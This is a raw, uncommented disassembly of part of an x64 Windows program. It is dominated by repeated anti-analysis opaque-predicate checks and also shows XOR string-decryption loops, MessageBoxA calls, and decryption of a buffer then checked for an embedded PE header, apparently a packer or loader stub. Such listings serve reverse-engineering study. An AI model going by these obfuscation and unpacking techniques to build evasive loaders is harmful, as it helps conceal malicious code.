mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
test rbx, rbx
je 0x140078b6d
cmp qword [rbp + 0x10f8], r14
je 0x140078b6d
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x14006cb39
mov rax, qword gs:[0x38]
movabs rcx, 0x3c3fd7c40c92e260
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006cb19
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006cb19
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006cb39
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rdi, qword [rbp + 0x10f8]
lea rcx, [rbp + 0x10e8]
call fcn.140079c1c
mov rdx, rax
mov r8, rdi
mov rcx, rbx
call fcn.140101bd0
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x14006cc17
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0x6739bc
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0xda6f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006cbf7
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006cbf7
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006cc17
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x14006ccc1
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006cca1
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006cca1
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006ccc1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
xor edx, edx
lea rcx, [rbp + 0x10e8]
call fcn.14007a318
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x14006cd8c
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0x6739bc
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0xda6f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006cd6c
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006cd6c
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006cd8c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x14006ce40
mov rax, qword gs:[0x38]
movabs rcx, 0x3c3fd7c40c92e260
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006ce20
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006ce20
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006ce40
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
movabs rax, 0xaa3266487a0948
mov qword [rsp + 0x70], rax
movabs rax, 0xffecca5938aa0d
mov qword [rbp + 0xf50], rax
mov qword [rbp + 0xfe8], r14
mov r8d, r14d
mov rdi, r14
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xfe8], cl
add rdi, rsi
cmp r8d, 8
jb 0x14006ce6d
mov esi, r14d
movabs r11, 0x8080808080808081
test r15, r15
je 0x14006cf8f
mov rcx, r14
mov rax, r11
mul r15
mov r8, rdx
shr r8, 7
add r8b, r15b
mov r9, rbx
mov r13, r11
and ecx, 7
movzx edi, byte [rbp + rcx + 0xfe8]
mov r10b, r8b
xor r10b, dil
mov r14d, edi
xor r11d, r11d
lea rbx, [rbp + 0xfe8]
movzx ecx, byte [rbx]
movzx eax, dil
add rcx, rax
xor rcx, qword [rbp + 0xfe8]
mov rax, r13
imul rcx
add rdx, rcx
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
mov rdi, rcx
sub rdi, rax
inc r11d
inc rbx
cmp r11d, 8
jb 0x14006cefe
movzx ecx, r10b
add ecx, r14d
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
xor dil, byte [r9]
sub dil, cl
mov byte [r9], dil
inc esi
inc r9
movsxd rcx, esi
cmp rcx, r15
jb 0x14006cee0
mov rbx, qword [rbp - 0x40]
xor r14d, r14d
mov r13d, 0x3df3a125
movabs r11, 0x8080808080808081
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x14006d039
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006d019
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006d019
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006d039
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
mov r15d, 0x6739bc
cmp rax, r12
jne 0x14006d0fa
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, r15d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0xda6f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006d0da
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006d0da
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006d0fa
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x14006d1a4
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006d184
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006d184
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006d1a4
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
mov ecx, 0x5a4d
cmp word [rbx], cx
je 0x14006d584
cmp rax, r12
jne 0x14006d266
mov rax, qword gs:[0x38]
movabs rcx, 0x3c3fd7c40c92e260
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006d246
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006d246
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006d266
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400df118
int3
movdqa xmm0, xmmword [0x140139a50]
movdqu xmmword [rbp + 0x290], xmm0
mov esi, 1
mov word [rbp + 0x2a0], si
mov r10, r14
mov ebx, 0xb7616ee2
movabs r8, 0xc2d785d02
lea r11d, [rsi + 0x10]
movabs r9, 0x185af0ba04
movabs r12, 0x8080808080808081
mov cl, r10b
and cl, 7
shl cl, 3
mov edi, 0xb7616ee1
shr rdi, cl
mov rax, r12
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r12
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x290], dil
add r10, rsi
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14006d2ac
mov byte [rbp + 0x2a1], r14b
movdqa xmm0, xmmword [0x140139a70]
movdqu xmmword [rbp + 0xc58], xmm0
movdqa xmm1, xmmword [0x140139d00]
movdqu xmmword [rbp + 0xc68], xmm1
movdqa xmm0, xmmword [0x140139ca0]
movdqu xmmword [rbp + 0xc78], xmm0
mov dword [rbp + 0xc88], 0x13333352
mov dword [rbp + 0xc8c], 0xbf3d415
mov dword [rbp + 0xc90], 0x7961d3f9
mov word [rbp + 0xc94], Ordinal_211
mov r9, r14
mov r10d, 0x3d
movabs r8, 0x2bb2376bda
movabs r11, 0x57646ed7b4
mov r12d, 0x35f6738
movabs r13, 0x8080808080808081
mov cl, r9b
and cl, 7
shl cl, 3
mov edi, 0xb7616ee1
shr rdi, cl
mov rax, r13
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r13
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xc58], dil
add r9, rsi
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x14006d396
mov byte [rbp + 0xc95], r14b
xor r9d, r9d
lea r8, [rbp + 0x290]
lea rdx, [rbp + 0xc58]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, qword gs:[0x49]
cmp rcx, r12
mov r13d, 0x3df3a125
jne 0x14006d4d6
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0xda6f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006d4b6
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006d4b6
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006d4d6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x140078e8b
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006d564
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006d564
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140078e8b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
cmp rax, r12
jne 0x14006d625
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006d605
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006d605
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006d625
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
movsxd rdx, dword [rbx + 0x3c]
add rdx, rbx
mov qword [rbp + 0xfe8], rdx
mov rax, qword gs:[0x49]
movabs rbx, 0x3c3fd7c40c92e260
cmp rax, r12
jne 0x14006d6e7
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006d6c7
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006d6c7
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006d6e7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
je 0x14006dabe
cmp rax, r12
jne 0x14006d7a0
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006d780
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006d780
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006d7a0
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
movdqa xmm0, xmmword [0x140139a50]
movdqu xmmword [rbp + 0x3c8], xmm0
mov esi, 1
mov word [rbp + 0x3d8], si
mov r10, r14
mov ebx, 0xb7616ee2
movabs r8, 0xc2d785d02
lea r11d, [rsi + 0x10]
movabs r9, 0x185af0ba04
movabs r12, 0x8080808080808081
mov cl, r10b
and cl, 7
shl cl, 3
mov edi, 0xb7616ee1
shr rdi, cl
mov rax, r12
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, r12
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3c8], dil
add r10, rsi
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14006d7e6
mov byte [rbp + 0x3d9], r14b
movdqa xmm0, xmmword [0x140139a70]
movdqu xmmword [rbp + 0xc98], xmm0
movdqa xmm1, xmmword [0x140139d10]
movdqu xmmword [rbp + 0xca8], xmm1
movdqa xmm0, xmmword [0x140139ca0]
movdqu xmmword [rbp + 0xcb8], xmm0
mov dword [rbp + 0xcc8], 0x13333352
mov dword [rbp + 0xccc], 0xbf3d415
mov dword [rbp + 0xcd0], 0x7961d3f9
mov word [rbp + 0xcd4], Ordinal_211
mov r9, r14
movabs r8, 0x2bb2376bda
mov r10d, 0x3d
movabs r11, 0x57646ed7b4
mov r12d, 0x35f6738
movabs r13, 0x8080808080808081
mov cl, r9b
and cl, 7
shl cl, 3
mov edi, 0xb7616ee1
shr rdi, cl
mov rax, r13
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r13
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xc98], dil
add r9, rsi
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x14006d8d0
mov byte [rbp + 0xcd5], r14b
xor r9d, r9d
lea r8, [rbp + 0x3c8]
lea rdx, [rbp + 0xc98]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x49]
cmp rax, r12
mov r13d, 0x3df3a125
jne 0x14006da10
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0xda6f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006d9f0
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006d9f0
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006da10
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x140078e8b
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006da9e
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006da9e
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140078e8b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
cmp rax, r12
jne 0x14006db70
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0xda6f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006db50
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006db50
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006db70
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1090], xmm0
mov qword [rbp + 0x10a0], rax
movdqa xmm1, xmmword [0x140139ae0]
movdqu xmmword [rbp + 0x978], xmm1
mov dword [rbp + 0x988], 0xfc8edb83
mov dword [rbp + 0x98c], 0xbb51d9d3
mov dword [rbp + 0x990], 0x333fd61e
lea r12d, [rax + 0x11]
mov word [rbp + 0x994], 0x7911
mov byte [rbp + 0x996], al
mov r8, r14
mov esi, 0xb7616ee1
movabs r9, 0x157d6afe7c
lea r10d, [rax + 0x1e]
mov r13d, 0xb7616ee2
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x978], dil
inc r8
add r9, r13
add r10, 0x1e
movabs rax, 0x2afad5fcf8
cmp r9, rax
jb 0x14006dbe0
mov byte [rbp + 0x996], r14b
lea rax, [rbp + 0x978]
mov qword [rbp + 0x220], rax
movdqa xmm0, xmmword [str._z]
movdqu xmmword [rbp + 0xad8], xmm0
movdqa xmm1, xmmword [0x1401399e0]
movdqu xmmword [rbp + 0xae8], xmm1
mov r8, r14
movabs r9, 0x1634cc6d5e
mov r10d, Ordinal_33
movabs r15, 0x2c6998dabc
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0xad8]
xor dil, r8b
mov byte [rbp + r8 + 0xad8], dil
inc r8
add r9, r13
add r10, 0x1f
cmp r9, r15
jb 0x14006dc99
mov byte [rbp + 0xaf7], r14b
lea rax, [rbp + 0xad8]
mov qword [rbp + 0x228], rax
lea rax, [rbp + 0x220]
mov qword [rbp + 0xf60], rax
lea rax, [rbp + 0x230]
mov qword [rbp + 0xf68], rax
movaps xmm0, xmmword [rbp + 0xf60]
movdqa xmmword [rbp + 0xf60], xmm0
lea r8, [rsp + 0x62]
lea rdx, [rbp + 0xf60]
lea rcx, [rbp + 0x1090]
call fcn.140078e94
mov rax, qword gs:[0x49]
mov esi, 0x35f6738
mov r15d, 0x3df3a125
cmp rax, rsi
jne 0x14006de0b
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006ddeb
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006ddeb
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006de0b
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
mov edi, 0x6739bc
cmp rax, rsi
jne 0x14006deca
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0xda6f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006deaa
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006deaa
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006deca
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
xor ecx, ecx
call fcn.1400e3844
mov rcx, rax
call fcn.1400df124
mov rax, qword gs:[0x49]
cmp rax, rsi
jne 0x14006df83
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006df63
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006df63
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006df83
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
cmp rax, rsi
jne 0x14006e02d
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006e00d
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006e00d
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006e02d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
cmp rax, rsi
jne 0x14006e0d7
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006e0b7
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006e0b7
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006e0d7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
cmp rax, rsi
jne 0x14006e181
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006e161
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006e161
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006e181
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
